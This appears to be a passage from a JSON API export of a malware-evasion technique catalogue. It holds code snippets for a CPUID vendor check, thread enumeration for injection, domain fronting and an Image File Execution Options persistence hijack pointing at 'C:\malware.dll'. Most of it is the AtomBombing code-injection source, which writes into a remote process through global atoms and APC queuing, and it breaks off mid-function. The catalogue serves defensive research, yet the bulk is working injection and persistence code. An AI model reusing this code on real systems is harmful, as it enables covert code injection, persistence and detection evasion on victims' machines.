"description": "This assembly code is using the CPUID instruction to check if the current processor is an Intel CPU. It moves the value 0 into the EAX register and then executes the CPUID instruction. It compares the value in the EDX register with a specific hexadecimal value to determine if the processor is an Intel CPU. If the comparison is true, it jumps to a specific label, otherwise, it exits the function. The preprocessor directive %ifdef NOSB_INTELONLY check if the symbol NOSB_INTELONLY is defined before the compilation, if it is defined, the code block following this directive will be included in the final executable.",
"plain_code": "%ifdef NOSB_INTELONLY\r\nmov eax,0\r\ncpuid\r\ncmp edx,0x49656E69\r\nje _isintel\r\nret\r\n_isintel:\r\n%endif"
},
{
"id": 174,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 6,
"username": "Unprotect",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/hashtag/unprotectproject",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/111/?format=api",
"description": "",
"plain_code": "#include <Windows.h>\r\n#include <TlHelp32.h>\r\n\r\nint main()\r\n{\r\n // Create a snapshot of all running threads\r\n HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\r\n if (hSnapshot != INVALID_HANDLE_VALUE)\r\n {\r\n THREADENTRY32 te32;\r\n te32.dwSize = sizeof(THREADENTRY32);\r\n\r\n // Enumerate all running threads\r\n if (Thread32First(hSnapshot, &te32))\r\n {\r\n do\r\n {\r\n // Check if the thread belongs to the target process\r\n if (te32.th32OwnerProcessID == targetProcessId)\r\n {\r\n // Open the thread\r\n HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, 0, te32.th32ThreadID);\r\n\r\n if (hThread != NULL)\r\n {\r\n // Inject your code here\r\n\r\n CloseHandle(hThread);\r\n }\r\n }\r\n } while (Thread32Next(hSnapshot, &te32));\r\n }\r\n\r\n CloseHandle(hSnapshot);\r\n }\r\n}"
},
{
"id": 173,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 22,
"username": "__Thanat0s__",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/__thanat0s__",
"website": "http://thanat0s.trollprod.org/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/225/?format=api",
"description": "",
"plain_code": "import requests\r\nimport re\r\n\r\n# The actual destination domain requested\r\ndestination_domain = \"www.youtube.com\"\r\n\r\n# The fronting domain used in ssl\r\nfronting_domain = \"www.google.com\"\r\n\r\n# Create a session object\r\nsession = requests.Session()\r\n\r\n# force real destination in the Host header\r\nsession.headers[\"Host\"] = destination_domain\r\n\r\n# Send the request to the fronting domain\r\nresponse = session.get(\"https://\" + fronting_domain, headers={'X-Originating-URL': 'https://' + destination_domain})\r\n\r\n# Extract the title of the received page\r\ntitle = re.search(\"<title>(.*)</title>\", response.text)\r\nprint(title. Group(1))"
},
{
"id": 172,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 5,
"username": "fr0gger",
"email": "thomas.roccia@securitybreak.io",
"linkedin": "https://www.linkedin.com/in/thomas-roccia",
"twitter": "https://twitter.com/fr0gger_",
"website": "https://securitybreak.io",
"github": "https://github.com/fr0gger"
},
"technique": "https://unprotect.it/api/techniques/112/?format=api",
"description": "",
"plain_code": "#include <Windows.h>\r\n#include <TlHelp32.h>\r\n\r\nint main()\r\n{\r\n HKEY hKey;\r\n LPCTSTR subkey = \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\notepad.exe\";\r\n LPCTSTR value = \"Debugger\";\r\n LPCTSTR data = \"C:\\\\malware.dll\";\r\n DWORD dwSize = sizeof(data);\r\n\r\n // create or open the IFEO registry key\r\n RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);\r\n\r\n // set the Debugger value to the path of the malicious DLL\r\n RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, dwSize);\r\n\r\n RegCloseKey(hKey);\r\n}"
},
{
"id": 171,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 19,
"username": "External",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/114/?format=api",
"description": "Original code source: https://github.com/BreakingMalwareResearch/atom-bombing",
"plain_code": "#include <stdio.h>\r\n#include <Windows.h>\r\n#include <TlHelp32.h>\r\n#include <winternl.h>\r\n\r\n#include \"..\\Release\\AtomBombingShellcode.h\"\r\n\r\n#define RTL_MAXIMUM_ATOM_LENGTH (255)\r\n#define SHELLCODE_FUNCTION_POINTERS_OFFSET (25)\r\n\r\n#define X86_RET ('\\xc3')\r\n\r\n#define TEXT_SECTION (\".text\")\r\n#define DATA_SECTION (\".data\")\r\n\r\n#define NTDLL (\"ntdll.dll\")\r\n#define KERNEL32 (\"kernel32.dll\")\r\n#define NTSETCONTEXTTHREAD (\"NtSetContextThread\")\r\n#define NTWAITFORSINGLEOBJECT (\"NtWaitForSingleObject\")\r\n#define MEMCPY (\"memcpy\")\r\n#define GETPROCADDRESS (\"GetProcAddress\")\r\n#define LOADLIBRARYA (\"LoadLibraryA\")\r\n#define GLOBALGETATOMNAMEW (\"GlobalGetAtomNameW\")\r\n#define NTQUEUEAPCTHREAD (\"NtQueueApcThread\")\r\n#define WAITFORSINGLEOBJECTEX (\"WaitForSingleObjectEx\")\r\n\r\n\r\ntypedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext,\r\n\tPVOID SystemArgument1,\r\n\tPVOID SystemArgument2\r\n\t);\r\n\r\ntypedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle,\r\n\tPKNORMAL_ROUTINE ApcRoutine,\r\n\tPVOID NormalContext,\r\n\tPVOID SystemArgument1,\r\n\tPVOID SystemArgument2\r\n\t);\r\n\r\ntypedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(\r\n\tHANDLE ProcessHandle,\r\n\tDWORD ProcessInformationClass,\r\n\tPVOID ProcessInformation,\r\n\tDWORD ProcessInformationLength,\r\n\tPDWORD ReturnLength\r\n\t);\r\n\r\n#pragma pack(push, 1)\r\ntypedef struct _FUNCTIONPOINTERS\r\n{\r\n\tvoid *pfnLoadLibraryA;\r\n\tvoid *pfnGetProcAddress;\r\n} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;\r\n#pragma pack(pop)\r\n\r\ntypedef enum _ESTATUS\r\n{\r\n\tESTATUS_INVALID = -1,\r\n\tESTATUS_SUCCESS = 0,\r\n\r\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100,\r\n\r\n\tESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED,\r\n\r\n\tESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED,\r\n\r\n\tESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR,\r\n\r\n\tESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR,\r\n\r\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR,\r\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR,\r\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND,\r\n\r\n\tESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED,\r\n\t\r\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,\r\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,\r\n\r\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,\r\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,\r\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED,\r\n\t\r\n\tESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL,\r\n\t\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND,\r\n\r\n\tESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED,\r\n\tESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED,\r\n\tESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED,\r\n\t\r\n\tESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND,\r\n\r\n\tESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED,\r\n\r\n\tESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED,\r\n\tESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND,\r\n\r\n\tESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED,\r\n\tESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED,\r\n\r\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED,\r\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED,\r\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH,\r\n\r\n\tESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED,\r\n\r\n\tESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED,\r\n\tESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED,\r\n\r\n\tESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED,\r\n\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED,\r\n\r\n} ESTATUS, *PESTATUS;\r\n\r\n#define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus)\r\n\r\nESTATUS GetFunctionAddressFromDll(\r\n\tPSTR pszDllName,\r\n\tPSTR pszFunctionName,\r\n\tPVOID *ppvFunctionAddress\r\n\t)\r\n{\r\n\tHMODULE hModule = NULL;\r\n\tPVOID\tpvFunctionAddress = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\thModule = GetModuleHandleA(pszDllName);\r\n\tif (NULL == hModule)\r\n\t{\r\n\t\teReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvFunctionAddress = GetProcAddress(hModule, pszFunctionName);\r\n\tif (NULL == pvFunctionAddress)\r\n\t{\r\n\t\teReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\t*ppvFunctionAddress = pvFunctionAddress;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_WasAtomWrittenSuccessfully(\r\n\tATOM tAtom,\r\n\tPWSTR pswzExpectedBuffer,\r\n\tPBOOL pbWasAtomWrittenSuccessfully\r\n\t)\r\n{\r\n\tLPWSTR pswzCheckBuffer = NULL;\r\n\tDWORD cbCheckBuffer = 0;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tUINT uiRet = 0;\r\n\tHMODULE hUser32 = NULL;\r\n\tBOOL bWasAtomWrittenSuccessfully = FALSE;\r\n\r\n\t// If user32.dll is not loaded, the ATOM functions return access denied.For more details see :\r\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\r\n\thUser32 = LoadLibrary(L\"user32.dll\");\r\n\tif (NULL == hUser32)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tcbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR);\r\n\r\n\tpswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer);\r\n\tif (NULL == pswzCheckBuffer)\r\n\t{\r\n\t\tprintf(\"HeapAlloc failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tuiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer);\r\n\tif (0 == uiRet)\r\n\t{\r\n\t\tprintf(\"GlobalGetAtomNameA failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer));\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully;\r\n\r\nlblCleanup:\r\n\tif (NULL != pswzCheckBuffer)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pswzCheckBuffer);\r\n\t\tpswzCheckBuffer = NULL;\r\n\t}\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom)\r\n{\r\n\tATOM tAtom = 0;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tLPWSTR pswzCheckBuffer = NULL;\r\n\tDWORD cbCheckBuffer = 0;\r\n\tUINT uiRet = 0;\r\n\tHMODULE hUser32 = NULL;\r\n\tBOOL bWasAtomWrittenSuccessfully = FALSE;\r\n\r\n\t// If user32.dll is not loaded, the ATOM functions return access denied. For more details see :\r\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\r\n\thUser32 = LoadLibrary(L\"user32.dll\");\r\n\r\n\tdo\r\n\t{\r\n\t\ttAtom = GlobalAddAtomW(pswzBuffer);\r\n\t\tif (0 == tAtom)\r\n\t\t{\r\n\t\t\tprintf(\"GlobalAddAtomA failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\r\n\t\t\teReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\teReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tif (FALSE != bWasAtomWrittenSuccessfully)\r\n\t\t{\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\tfor (int i = 0; i < 0x2; i++)\r\n\t\t{\r\n\t\t\tSetLastError(ERROR_SUCCESS);\r\n\t\t\tGlobalDeleteAtom(tAtom);\r\n\t\t\tif (ERROR_SUCCESS != GetLastError())\r\n\t\t\t{\r\n\t\t\t\teReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED;\r\n\t\t\t\tgoto lblCleanup;\r\n\t\t\t}\r\n\t\t}\r\n\t} while (FALSE == bWasAtomWrittenSuccessfully);\r\n\t\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ptAtom = tAtom;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_NtQueueApcThreadWrapper(\r\n\tHANDLE hThread, \r\n\tPKNORMAL_ROUTINE pfnApcRoutine, \r\n\tPVOID pvArg1, \r\n\tPVOID pvArg2, \r\n\tPVOID pvArg3\r\n\t)\r\n{\r\n\tHMODULE hNtDll = NULL;\r\n\tHMODULE hKernel32 = NULL;\r\n\tHMODULE hUser32 = NULL;\r\n\t_NtQueueApcThread NtQueueApcThread = NULL;\r\n\tNTSTATUS ntStatus = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\t// If user32.dll is not loaded, the ATOM functions return access denied. For more details see:\r\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\r\n\thUser32 = LoadLibrary(L\"user32.dll\");\r\n\thKernel32 = GetModuleHandle(L\"kernel32.dll\");\r\n\thNtDll = GetModuleHandle(L\"ntdll.dll\");\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tNTDLL, \r\n\t\tNTQUEUEAPCTHREAD, \r\n\t\t(PVOID *) &NtQueueApcThread\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tntStatus = NtQueueApcThread(\r\n\t\thThread, \r\n\t\tpfnApcRoutine, \r\n\t\tpvArg1, \r\n\t\tpvArg2, \r\n\t\tpvArg3\r\n\t\t);\r\n\tif (0 != ntStatus)\r\n\t{\r\n\t\tprintf(\"NtQueueApcThread failed. ret: 0x%X (%d)\\n\\n\\n\", ntStatus, ntStatus);\r\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\tHANDLE hRemoteThread, \r\n\tHANDLE hWaitHandle, \r\n\tDWORD dwWaitMilliseconds, \r\n\tBOOL bWaitAlertable\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL;\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tWAITFORSINGLEOBJECTEX, \r\n\t\t(PVOID *) &pfnWaitForSingleObjectEx\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWrapper(\r\n\t\thRemoteThread, \r\n\t\tpfnWaitForSingleObjectEx, \r\n\t\thWaitHandle, \r\n\t\t(PVOID)dwWaitMilliseconds, \r\n\t\t(PVOID)bWaitAlertable\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_QueueUserApcWrapperAndKeepAlertable(\r\n\tHANDLE hThread,\r\n\tPAPCFUNC pfnAPC,\r\n\tULONG_PTR dwData\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwErr = FALSE;\r\n\r\n\tdwErr = SuspendThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;\r\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdwErr = QueueUserAPC(pfnAPC, hThread, dwData);\r\n\tif (0 == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED;\r\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\thThread,\r\n\t\tGetCurrentThread(),\r\n\t\t5000,\r\n\t\tTRUE\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdwErr = ResumeThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\tprintf(\"ResumeThread failed. GLE: %d.\", GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable(\r\n\tHANDLE hThread, \r\n\tPKNORMAL_ROUTINE pfnApcRoutine, \r\n\tPVOID pvArg1, \r\n\tPVOID pvArg2, \r\n\tPVOID pvArg3\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwErr = FALSE;\r\n\r\n\tdwErr = SuspendThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;\r\n\t\tprintf(\"SuspendThread failed. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWrapper(\r\n\t\thThread, \r\n\t\tpfnApcRoutine, \r\n\t\tpvArg1, \r\n\t\tpvArg2, \r\n\t\tpvArg3\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_NtQueueApcThreadWaitForSingleObjectEx(\r\n\t\thThread, \r\n\t\tGetCurrentThread(), \r\n\t\t5000, \r\n\t\tTRUE\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdwErr = ResumeThread(hThread);\r\n\tif (((DWORD)-1) == dwErr)\r\n\t{\r\n\t\tprintf(\"ResumeThread failed. GLE: %d.\", GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\t\r\n\teReturn = main_QueueUserApcWrapperAndKeepAlertable(\r\n\t\thThread, \r\n\t\t(PAPCFUNC)SetEvent, \r\n\t\t(ULONG_PTR)hRemoteHandle\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)\r\n{\r\n\tPKNORMAL_ROUTINE pfnSetThreadContext = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tNTDLL, \r\n\t\tNTSETCONTEXTTHREAD, \r\n\t\t(PVOID *) &pfnSetThreadContext\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\t\r\n\r\n\teReturn = main_NtQueueApcThreadWrapper(\r\n\t\thThread, \r\n\t\tpfnSetThreadContext, \r\n\t\tGetCurrentThread(), \r\n\t\t(PVOID)ptContext, \r\n\t\t(PVOID)NULL\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_DoesStringContainNullTerminatorW(\r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize, \r\n\tPBOOL pbDoesStringContainUnicodeNullTerminator\r\n\t)\r\n{\r\n\tPWCHAR pwcPos = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\tpwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL);\r\n\tif (0 == pwcPos)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tif ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1))\r\n\t{\r\n\t\t*pbDoesStringContainUnicodeNullTerminator = FALSE;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t*pbDoesStringContainUnicodeNullTerminator = TRUE;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal(\r\n\tHANDLE hThread, \r\n\tPVOID pvBaseAddress, \r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwIndex = 0;\r\n\tHMODULE hKernel32 = NULL;\r\n\tPKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL;\r\n\tBOOL bDoesStringContainUnicodeNullTerminator = FALSE;\r\n\r\n\r\n\thKernel32 = GetModuleHandle(L\"kernel32.dll\");\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tGLOBALGETATOMNAMEW, \r\n\t\t(PVOID *) &pfnGlobalGetAtomNameW\r\n\t\t);\r\n\r\n\teReturn = main_DoesStringContainNullTerminatorW(\r\n\t\tpvBuffer, \r\n\t\tdwBufferSize, \r\n\t\t&bDoesStringContainUnicodeNullTerminator\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tif (FALSE != bDoesStringContainUnicodeNullTerminator)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR))\r\n\t{\r\n\t\tATOM tAtom = 0;\r\n\t\tCHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 };\r\n\t\tDWORD cbBlockSize = 0;\r\n\r\n\t\tif ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR)))\r\n\t\t{\r\n\t\t\tcbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tcbBlockSize = sizeof(acBuffer) - sizeof(WCHAR);\r\n\t\t}\r\n\r\n\t\t(VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize);\r\n\r\n\t\teReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\teReturn = main_NtQueueApcThreadWrapperAndKeepAlertable(\r\n\t\t\thThread, \r\n\t\t\tpfnGlobalGetAtomNameW, \r\n\t\t\t(PVOID)tAtom, \r\n\t\t\t((PUCHAR)pvBaseAddress) + dwIndex, \r\n\t\t\t(PVOID)(cbBlockSize + sizeof(WCHAR))\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_IsProcessMemoryEqual(\r\n\tHANDLE hProcess,\r\n\tPVOID pvRemoteAddress,\r\n\tPVOID pvExpectedBuffer,\r\n\tDWORD cbExpectedBufferSize,\r\n\tPBOOL pbIsMemoryEqual\r\n\t)\r\n{\r\n\tESTATUS eReturn = 